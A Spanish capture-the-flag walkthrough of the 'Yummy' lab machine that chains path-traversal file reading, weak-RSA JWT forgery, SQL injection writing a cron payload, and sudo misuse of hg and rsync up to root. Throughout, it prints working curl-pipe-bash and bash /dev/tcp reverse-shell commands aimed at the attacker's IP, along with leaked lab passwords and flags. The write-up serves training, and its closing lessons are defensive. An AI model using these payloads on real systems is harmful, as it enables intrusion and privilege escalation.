Yummy
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Yummy es una máquina Linux difícil con una cadena larga y muy encadenada. La web de reservas de un restaurante exporta los eventos en iCalendar y ese/exportes un LFI por path traversal que deja leer el sistema de ficheros. Entre lo leído está el backup de la aplicación: susignature.pygenera las claves RSA con un primo diminuto, de modo que el módulo del JWT es factorizable y se puede forjar un token de administrador. Ya en el panel admin, una SQLi con stacked queries e INTO OUTFILE escribe un payload que un cron ejecuta comomysql; de ahí se pivota awww-datapor otro cron, y aqareutilizando credenciales del repositorio.qapuede correrhgporsudocomodev(hook de Mercurial), ydevpuede correrrsyncporsudocomoroot(SUID).
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.3664 bytes from 10.10.11.36: icmp_seq=1 ttl=63 time=37.4 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un escaneo completo de los 65535 puertos sobre 10.10.11.36 devuelve solo dos: SSH y HTTP.
nmap -p- --min-rate 5000 10.10.11.36
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63El ttl 63 de las respuestas SYN/ACK coincide con el del ping y refuerza el diagnóstico de Linux. Una función auxiliar extrae los puertos del escaneo y los deja en el portapapeles para el siguiente comando:
extractPorts scan
Extracting information...
IP Address: 10.10.11.36
Open ports: 22,80
Ports copied to clipboardCon la lista, el escaneo dirigido de versiones y scripts por defecto:
nmap -p22,80 -sCV 10.10.11.36
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/Dos datos: el servidor web es Caddy (no Apache ni nginx, lo que suele significar una aplicación moderna detrás de un proxy inverso) y responde con una redirección a http://yummy.htb/. Ese Did not follow redirect significa que el servidor espera que la petición llegue con la cabecera Host correcta, así que hay que resolver el dominio localmente antes de poder navegar:
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.36 yummy.htbLa web: un restaurante con reservas
Con el dominio resuelto, identificamos la pila:
whatweb http://yummy.htb
http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.10.11.36], Lightbox, Script, Title[Yummy]Bootstrap y Lightbox son plantilla de frontend, nada explotable en sí. Lo relevante es que no aparece ningún CMS ni lenguaje de servidor, así que la aplicación es a medida y habrá que enumerarla a mano.

La navegación anuncia la superficie: hay Login, Register, un Dashboard (que implica sesión) y un Book a table. Un dashboard privado es siempre lo primero que hay que alcanzar, y aquí ni siquiera hace falta forzarlo porque el registro es abierto:


Ya autenticados, el /dashboard aparece con la tabla de reservas completamente vacía:

Las cabeceras de la tabla son en sí mismas un mapa de la funcionalidad: hay un ID por reserva, una Manage Reservation y, sobre todo, una columna iCalendar Reminder. Como no hay datos que analizar, el paso obvio es generarlos: creamos una reserva usando el mismo email con el que estamos logueados (si se pone otro, la reserva se crea pero no aparece en nuestro dashboard, porque el listado filtra por el email de la sesión):


Aparece la fila con ID 21 y dos botones nuevos. El interesante es "Save icalendar", que descarga el evento en formato .ics.
El iCalendar y su librería

El fichero .ics incluye identificadores y, sobre todo, una línea PRODID que delata la librería usada para generarlo: ics.py. Localizar la herramienta y su versión es lo que orienta el siguiente paso.

Con nombre y versión (la segunda línea del .ics declara VERSION:2.0) buscamos vulnerabilidades conocidas del ecosistema iCalendar y aparece CVE-2023-46784, un path traversal y SSRF en el componente ICS Calendar:

Vulnerabilidad de limitación incorrecta de una ruta a un directorio restringido ('Path Traversal'),
falsificación de solicitud del lado del servidor (SSRF) en Room 34 Creative Services, LLC ICS Calendar
ics-calendar permite un recorrido de ruta absoluto. Este problema afecta a ICS Calendar: desde n/a
hasta 10.12.0.3.Ese CVE es de un plugin de WordPress que también se llama "ICS Calendar", no de la librería ics.py de Python que usa esta aplicación. Se probó y no aplicaba. Merece la pena documentarlo igualmente porque la idea que dejó (path traversal en la generación o descarga del calendario) es exactamente la que resulta ser correcta, aunque el vector real esté en el propio endpoint de descarga de la aplicación y no en la librería.
Interceptar la descarga: aparece /export
Para ver cómo se sirve realmente el .ics, repetimos la reserva y encaminamos el navegador por Burp con FoxyProxy antes de pulsar "Save icalendar":


La primera petición que salta es la del reminder; le damos a forward y aparece la segunda, que es la que importa:

La descarga no es un fichero estático: el sitio usa un endpoint /export que recibe una ruta y lee ese fichero del servidor. export no es una funcionalidad estándar de ningún servidor web, es algo que ha escrito el desarrollador de esta aplicación, y cualquier endpoint que reciba una ruta y devuelva su contenido es candidato inmediato a path traversal.
LFI: leyendo el sistema de ficheros
/export y el path traversal
El endpoint /export construye la ruta del fichero a partir de la URL, sin sanear los ../. Codificando el recorrido (%2E%2E%2F) se sale del directorio previsto y se lee cualquier fichero legible por el servicio. El primer objetivo, siempre, es /etc/passwd:
curl -s -X GET "http://yummy.htb/export/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd" -H "$cookie"
/etc/passwd revela dos usuarios con shell interesantes, dev (uid 1000) y qa (uid 1001), además de las cuentas de servicio mysql y caddy:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/falseDos detalles que se anotan de paso: caddy confirma el servidor que ya había dicho nmap, y _laurel es el usuario del demonio Laurel, un procesador de logs de auditoría. Su presencia indica que la máquina audita llamadas al sistema, algo irrelevante para el laboratorio pero muy relevante en un entorno real, donde toda esta cadena quedaría registrada.
Automatizar el LFI
Leer un fichero por /export no es un curl suelto: hay que crear una reserva, forzar el reminder para que el ID quede activo y solo entonces pedir el recurso. Repetir eso a mano por cada fichero es inviable, así que la secuencia se envuelve en un script que recibe email, ID de reserva y cookie, y guarda cada recurso descargado en un árbol ./lfi/<ruta>:
./lfi.sh -e <email> -i <id> -c <cookie.txt>Entre los scripts de despliegue aparece /data/scripts/table_cleanup.sh, que conecta a la base de datos con credenciales en claro:

$ ls
app_backup.sh dbmonitor.sh table_cleanup.sh
$ cat table_cleanup.sh
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sqlEl propio table_cleanup.sh señala el siguiente fichero, así que pedimos también el .sql que alimenta:

TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("laurajohnson@domain.edu", "Laura Johnson", "2024-01-20", "04:15", "3", "Vegan meal required", "customer");
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisrodriguez@email.net", "Chris Rodriguez", ...El .sql no trae contraseñas ni hashes, solo el juego de datos de demostración con emails, nombres y el campo role_id puesto a customer. Como material de explotación no vale nada, pero deja una pista que valdrá su peso en oro más adelante: existe un concepto de rol en la aplicación, y customer es uno de sus valores.
Otro script, /data/scripts/app_backup.sh, deja ver dónde vive la aplicación y que se respalda periódicamente en un ZIP:

#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/appTres líneas que valen por un mapa: la aplicación vive en /opt/app, el backup está en /var/www/backupapp.zip y se regenera periódicamente. Tener el código fuente de una aplicación a medida es normalmente el final de la fase de enumeración.
Un ZIP no se descarga con un script de texto
El primer intento de traerlo con la misma herramienta falla de una forma instructiva:

[+] Introduce el recurso que deseas descubrir: /var/www/backupapp.zip
./lfi.sh: line 49: warning: command substitution: ignored null byte in input
[+] Recurso guardado en /home/krmena/machines/yummy/content/lfi/var/www/backupapp.zip
PK
[..oopt/app/UT m.7gu..7gux
...Xopt/app/middleware/UT ..IFfu..7gux
Pw.X...P.O"opt/app/middleware/verification.pyUTEl aviso lo explica todo: ignored null byte in input. La sustitución de comandos de Bash ($(curl ...)) descarta los bytes nulos, y un ZIP está lleno de ellos, así que el fichero llega corrupto y unzip lo rechaza. La cabecera PK y algunos nombres de fichero se leen (opt/app/middleware/verification.py), lo bastante para confirmar que el recurso existe y que es el backup correcto, pero no sirve como fichero.
La solución es no pasar el binario por el intérprete: se pide la URL directamente desde el navegador, que lo guarda byte a byte en ~/Downloads. Desde ahí lo traemos al directorio de trabajo:
mv /home/krmena/Downloads/backupapp.zip .
root@kali:/home/krmena/machines/yummy/content#El mv no imprime nada y devuelve el prompt: el fichero ya está en el directorio de trabajo.
unzip backupapp.zip -d backupapp
Archive: backupapp.zip
creating: backupapp/opt/app/
creating: backupapp/opt/app/middleware/
inflating: backupapp/opt/app/middleware/verification.py
creating: backupapp/opt/app/middleware/__pycache__/
inflating: backupapp/opt/app/middleware/__pycache__/verification.cpython-311.pyc
inflating: backupapp/opt/app/middleware/__pycache__/verification.cpython-312.pyc
inflating: backupapp/opt/app/.profile
inflating: backupapp/opt/app/app.py
creating: backupapp/opt/app/config/
inflating: backupapp/opt/app/config/signature.py
creating: backupapp/opt/app/config/__pycache__/
inflating: backupapp/opt/app/config/__pycache__/signature.cpython-311.pyc
inflating: backupapp/opt/app/config/__pycache__/signature.cpython-312.pyc
creating: backupapp/opt/app/templates/
inflating: backupapp/opt/app/templates/register.html
inflating: backupapp/opt/app/templates/login.html
backupapp backupapp.zip cookie.txt discoveresources.sh lfi lfi.shEsta vez sí: el código fuente completo de la aplicación en local.
Administrador en la web
El backup y signature.py
De los ficheros descomprimidos, el nombre que salta a la vista es el del directorio config:

__pycache__ signature.pyUn fichero llamado signature.py en una aplicación que reparte cookies de sesión firmadas es exactamente donde hay que mirar, y ahí está el fallo de raíz:

# Generate RSA key pair
q = sympy.randprime(2**19, 2**20) # primo DIMINUTO (~20 bits)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // qEl módulo n se construye como primo_grande · q, con q de apenas 20 bits. La seguridad de RSA depende de que n no se pueda factorizar, pero aquí un factor es tan pequeño que n cae al instante por división por primos pequeños.
Forjar el JWT con role: administrator
Nuestro JWT de sesión está firmado con RS256 y, decodificándolo, lleva su propia clave pública en un campo jwk (con n y e) y un claim role puesto en customer, justo el valor que había aparecido en el sqlappointments.sql:

Con n factorizable y la clave pública delante, se reconstruye la privada y se vuelve a firmar el token cambiando role a administrator (ver el concepto para el detalle del cálculo). Un script con sympy.factorint lo resuelve y escupe el token de administrador:
factors = sympy.factorint(n) # n tiene un factor pequeño
p, q = list(factors.keys())
d = pow(e, -1, (p - 1) * (q - 1))
key = RSA.construct((n, e, d, p, q))
payload['role'] = 'administrator'
print(jwt.encode(payload, key.export_key(), algorithm='RS256'))
Copiamos ese token y lo pegamos sobre la cookie X-AUTH-Token desde el almacenamiento del navegador:


El detalle del tamaño confirma que la sustitución ha entrado: la cookie pasa de 800 a 817 bytes, porque administrator tiene más caracteres que customer y la firma cambia. Recargamos y el panel pasa a admindashboard, mostrando las reservas de todos los usuarios:

Shell como mysql
SQLi con stacked queries
El buscador del admindashboard ordena los resultados con un parámetro o. Guardamos la petición autenticada completa (con la cookie forjada) en un fichero y se la pasamos a sqlmap con -r, que es la forma correcta de no perder cabeceras ni sesión:
sqlmap -r sql --batch
___
__H__
___ ___[(]_____ ___ ___ {1.8.9#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[*] starting @ 23:37:07 /2024-11-15/
[23:37:07] [INFO] parsing HTTP request from 'sql'El parámetro o resulta inyectable, con SQLi error-based y, lo importante, stacked queries:

Parameter: o (GET)
Type: error-based (EXTRACTVALUE, ORDER BY/GROUP BY)
Type: stacked queries (MySQL >= 5.0.12)
Payload: s=&o=ASC;SELECT SLEEP(5)#La distinción importa: una SQLi error-based solo permite leer datos, mientras que las stacked queries permiten encadenar sentencias completas separadas por ;, y eso incluye las que escriben en disco.
INTO OUTFILE contra un cron
Las stacked queries permiten ejecutar SELECT ... INTO OUTFILE, es decir, escribir ficheros en el servidor. La diana es el cron /data/scripts/dbmonitor.sh, que se ejecuta como mysql cada minuto:

Su lógica encadena tres condiciones. Si MySQL está activo (lo está), comprueba dbstatus.json; si el fichero existe y no contiene la cadena database is down, entra en la última rama, que hace:
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"Es decir: busca todos los ficheros que empiecen por fixer-v, los ordena por versión con sort -V y ejecuta el último con Bash. No valida quién ha creado el fichero ni qué contiene. Nos basta con escribir un fixer-v cuyo nombre ordene por encima del que ya existe (fixer-v1.0.1.sh), y ___ cumple esa condición porque sort -V lo coloca al final.
Encajamos las dos condiciones escribiendo, vía la SQLi, un dbstatus.json inocuo y un fixer-v___ con nuestro payload:
ASC; SELECT "pwned" INTO OUTFILE '/data/scripts/dbstatus.json';
ASC; SELECT "curl 10.10.15.39:8008/shell.sh |bash;" INTO OUTFILE '/data/scripts/fixer-v___';El contenido escrito no es la reverse shell sino un curl ... | bash, y por una razón práctica: INTO OUTFILE no admite comillas simples ni saltos de línea sin escapar, así que se escribe la mínima línea posible y el payload real se sirve desde nuestra máquina:
cat shell.sh
#!/bin/bash
bash -c 'bash -i >&/dev/tcp/10.10.15.39/443 0>&1'Levantamos las dos piezas del entorno: el servidor que sirve el shell.sh y el listener que recibirá la conexión.
python3 -m http.server 8000sudo nc -nlvp 443
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
listening on [any] 443 ...Esperamos al siguiente ciclo del cron y llega la conexión como mysql:

Shell como www-data
El cron app_backup.sh
Leyendo /etc/crontab se ve que cada minuto corren varias tareas como usuarios distintos. La clave es la de www-data, que ejecuta /data/scripts/app_backup.sh, un directorio en el que como mysql podemos escribir:

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.shEs un cron sobre script escribible: como el cron ejecuta el script por su ruta, basta con dejar otro fichero con el mismo nombre. Preparamos la reverse shell en /tmp:

mysql@yummy:/var/spool/cron$ cd /tmp
mysql@yummy:/tmp$ echo "bash -c 'bash -i >&/dev/tcp/10.10.15.39/4444 0>&1'" > shell.php
mysql@yummy:/tmp$ ls
shell.php
snap-private-tmp
systemd-private-1a2c77245362412c845f05fc03824f9e-caddy.service-xp91iX
...Ojo al detalle: la primera versión se escribió como shell.php, y no sirve. El cron ejecuta /bin/bash /data/scripts/app_backup.sh de forma explícita, así que el nombre final debe ser exactamente ese; la extensión intermedia da igual mientras el fichero sea un script de shell, pero conviene mantener .sh para no confundirse al mover. Rehecho con el nombre correcto, lo movemos al directorio del cron:
mv /tmp/shell.sh .![]()
mysql@yummy:/data/scripts$ mv /tmp/shell.sh .
mysql@yummy:/data/scripts$ls
cat shell.sh
mysql@yummy:/data/scripts$ ls
app_backup.sh
dbmonitor.sh
fixer-v1.0.1.sh
shell.sh
sqlappointments.sql
table_cleanup.sh
mysql@yummy:/data/scripts$ cat shell.sh
bash -c 'bash -i >&/dev/tcp/10.10.15.19/4444 0>&1'La IP del payload es la del túnel VPN del momento y cambia entre sesiones; lo que no cambia es el puerto del listener, que hay que tener levantado antes de disparar. De paso se confirma el fixer-v1.0.1.sh que ya habíamos deducido leyendo dbmonitor.sh.
Apartamos el script original (no lo borramos: renombrarlo permite restaurarlo y deja rastro de lo que había):
mv app_backup.sh app_backup.old
ls
mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.old
mysql@yummy:/data/scripts$ ls
app_backup.old
dbmonitor.sh
fixer-v1.0.1.sh
sqlappointments.sql
table_cleanup.shY ocupamos su sitio con el nuestro:
mv shell.sh app_backup.sh
ls
mysql@yummy:/data/scripts$ mv shell.sh app_backup.sh
mysql@yummy:/data/scripts$ ls
app_backup.old
app_backup.sh
dbmonitor.sh
fixer-v1.0.1.sh
sqlappointments.sql
table_cleanup.shAl siguiente ciclo, www-data ejecuta nuestro script y obtenemos shell como www-data:
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.36] 55258
bash: cannot set terminal process group (2227): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$Acceso como qa
Credenciales en el repositorio
Enumerando el home de www-data aparece un directorio app-qatesting, una copia de la aplicación en pruebas. Lo que la hace interesante no es el código sino su .hg: es un repositorio Mercurial, y un repositorio guarda el historial completo, incluidas las versiones anteriores de los ficheros:
cd app-qatesting/
ls -la
cd .hg
ls
cat last-message.txt
grep -r pass
cd ./store/data
strings app.py.i | grep pass
www-data@yummy:~/app-qatesting$ ls -la
total 40
drwxrwx--- 7 www-data www-data 4096 May 28 14:41 .
drwxr-xr-x 3 www-data www-data 4096 Nov 16 14:36 ..
-rw-rw-r-- 1 qa qa 10852 May 28 14:37 app.py
drwxr-xr-x 3 qa qa 4096 May 28 14:26 config
drwxrwxr-x 6 qa qa 4096 May 28 14:37 .hg
drwxr-xr-x 3 qa qa 4096 May 28 14:26 middleware
drwxr-xr-x 6 qa qa 4096 May 28 14:26 static
drwxr-xr-x 2 qa qa 4096 May 28 14:26 templates
www-data@yummy:~/app-qatesting/.hg$ cat last-message.txt
attempt at patching path traversal
www-data@yummy:~/app-qatesting/.hg$ grep -r pass
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches
www-data@yummy:~/app-qatesting/.hg/store/data$ cat app.py.i | grep pass
grep: (standard input): binary file matches
www-data@yummy:~/app-qatesting/.hg/store/data$ strings app.py.i | grep pass
'password': '3wDo7gSRZIwIHRxZ!',
'password': 'jPAd!XQCtn8Oc@2B',La secuencia entera merece leerse despacio porque es enumeración manual pura, sin herramientas automáticas. El ls -la revela que todo el contenido pertenece a qa, lo que ya apunta a qué usuario vive detrás. El last-message.txt guarda el mensaje del último commit, attempt at patching path traversal, que confirma retrospectivamente que el LFI de /export era el fallo conocido del proyecto. Y el grep -r pass no devuelve texto sino binary file matches sobre app.py.i, el fichero revlog donde Mercurial guarda las revisiones comprimidas: la contraseña está ahí, pero solo strings la saca a la luz.
Dos contraseñas. Para saber a quién pertenecen hay que mirar las líneas de alrededor en el mismo volcado:

'user': 'chef', 'password': '3wDo7gSRZIwIHRxZ!'
'user': 'qa', 'password': 'jPAd!XQCtn8Oc@2B'La primera ya la conocíamos (es la de chef en table_cleanup.sh), lo que sirve de verificación cruzada: si esa coincide, la segunda es fiable. La contraseña de qa está reutilizada como contraseña del sistema, así que su qa funciona:

La primera flag está en su home:

qa@yummy:~$ ls -la
.bash_history .bashrc .gnupg .local .ssh
.bash_logout .cache .hgrc .profile user.txt
qa@yummy:~$ cat user.txt
23b44b19bd1747ba709bc30a78554022Dentro del listado hay un fichero que no es estándar y que decide el siguiente paso: .hgrc, la configuración de Mercurial del usuario.
Shell como dev
sudo hg y el hook de Mercurial
sudo -l como qa muestra que puede ejecutar hg pull sobre el repo de dev, como el usuario dev:

User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/Mercurial ejecuta hooks definidos en .hgrc al terminar ciertas operaciones, así que la idea es escribir un hook post-pull en el .hgrc de qa y lanzar el pull. El primer intento falla:
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
qa@yummy:~$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
abort: Permission denied: '/home/qa/.hg'El error es preciso y explica el problema: hg corre como dev y busca el repositorio en el directorio de trabajo actual, que es /home/qa, un home al que dev no tiene acceso. La solución no es tocar permisos del home (ruidoso y puede romper la caja) sino cambiar de directorio de trabajo: montamos todo en /tmp, que es accesible para todos.

# /tmp/.hgrc
[ui]
username = qa
[trusted]
users = qa, dev
groups = qa, dev
[hooks]
post-pull = /tmp/shell.shEl bloque [trusted] es imprescindible: Mercurial se niega a ejecutar hooks definidos en un fichero de configuración cuyo propietario no considere de confianza, y aquí el fichero lo escribe qa mientras el proceso corre como dev. Declarar ambos usuarios como trusted desactiva esa protección.
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 1234cd /tmp; echo "bash -c 'bash -i >&/dev/tcp/10.10.15.39/1234 0>&1'" > shell.sh
chmod +x shell.sh; mkdir .hg; chmod 777 .hg; cp /home/qa/.hgrc /tmp/.hg/hgrc
sudo -u dev /usr/bin/hg pull /home/dev/app-production/Todo va en una línea a propósito: /tmp es un directorio compartido y con limpiezas periódicas, así que cuanto menos tiempo pase entre crear los ficheros y usarlos, menos posibilidades de que algo desaparezca por el camino. Al ejecutar el pull, el hook lanza la reverse shell como dev:

qa@yummy:~$ cd /tmp; echo "bash -c 'bash -i >&/dev/tcp/10.10.15.39/1234 0>&1'" > shell.sh; mkdir .hg; chmod 777 .hg;
qa@yummy:/tmp$ ls
shell.sh
snap-private-tmp
systemd-private-1a2c77245362412c845f05fc03824f9e-caddy.service-xp91iX
systemd-private-1a2c77245362412c845f05fc03824f9e-fwupd.service-DBS50w
qa@yummy:/tmp$ chmod +x shell.sh
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
searching for changes
no changes found
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.36] 46924
I'm out of office until November 17th, don't call me
dev@yummy:/tmp$Shell como root
sudo rsync y una bash SUID
sudo -l como dev revela el último eslabón: puede ejecutar rsync como root sobre un origen que controlamos.

User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/El comodín * del origen es la puerta: podemos poner en app-production cualquier fichero y rsync lo copiará. Y el flag -a (modo archivo) es la palanca, porque conserva permisos, dueño y bits especiales durante la copia. Copiamos una bash al origen, le ponemos el bit SUID y dejamos que el rsync privilegiado la lleve a /opt/app como root:root:
cp /bin/bash app-production/bash; chmod u+s app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -pEl chmod u+s lo aplicamos como dev, así que en ese momento la bash es SUID de dev, algo inútil. Lo que la convierte en un arma es el --chown root:root: rsync cambia el propietario en destino manteniendo el bit SUID, y el resultado es un /opt/app/bash con SUID de root. Después, bash -p mantiene el EUID y nos da una shell de root:

dev@yummy:~$ /opt/app/bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# cat root.txt
8b651d955647e6e5161565e97e2e22aa
Ambas flags enviadas, máquina completa.
Cadena de ataque
web :80 (Caddy) → yummy.htb → registro + reservas + iCalendar (ics.py)
│ /export → path traversal (LFI) → /etc/passwd, scripts, backupapp.zip
▼
backupapp.zip → signature.py (n = primo_grande · q, q de 20 bits)
│ factorizar n → forjar JWT role=administrator
▼
admindashboard → SQLi (param o, stacked queries)
│ INTO OUTFILE → dbstatus.json + fixer-v___ → cron dbmonitor.sh
▼
mysql → cron app_backup.sh (escribible) → www-data
│ strings sobre el revlog de .hg → creds de qa (reutilización)
▼
qa (user.txt) → sudo hg pull + hook .hgrc en /tmp → dev
│ sudo rsync -a + bash SUID + --chown root:root → root
▼
root (root.txt)Lecciones aprendidas
- Un endpoint que lee ficheros es un LFI esperando a pasar.
/exportconstruía la ruta con la entrada del usuario sin sanear../. Validar y normalizar las rutas, y servir descargas por identificador, no por ruta de fichero. - Un CVE que no aplica sigue siendo información. El CVE-2023-46784 era de un plugin de WordPress homónimo, no de
ics.py, pero la idea que dejó (path traversal en la descarga del calendario) apuntaba al sitio correcto. - Bash no sirve para mover binarios. La sustitución de comandos descarta los bytes nulos, así que un ZIP descargado con
$(curl ...)llega corrupto; para binarios, el navegador ocurl -o. - Las claves criptográficas no se generan a mano. El
signature.pycreaba un módulo RSA con un factor de 20 bits: factorizable al instante. Usar librerías serias y módulos de 2048 bits con dos primos grandes, y nunca confiar en una clave que viaja dentro del propio token. - Stacked queries = escritura en disco. Una SQLi con INTO OUTFILE sobre una cuenta con privilegio
FILEdeja caer payloads que un cron ejecuta. Consultas parametrizadas, cuenta sinFILEysecure_file_privacotado. - Cada cron corre como un usuario: cuidado con quién puede escribir su script. La cadena
mysql→www-datasalió de directorios de scripts escribibles por servicios. Los scripts decrondeben ser propiedad derooty no escribibles por terceros. - Un repositorio guarda lo que ya borraste. La contraseña de
qano estaba en el código actual sino en el revlog de Mercurial, y solo apareció constrings. Al publicar un repo, purgar el historial, no solo el último commit. sudosobre herramientas que ejecutan código essudosobre una shell.hgejecuta hooks yrsyncpreserva permisos y dueño; conceder cualquiera de ellos porsudocon rutas controlables por el atacante equivale a regalar la cuenta destino.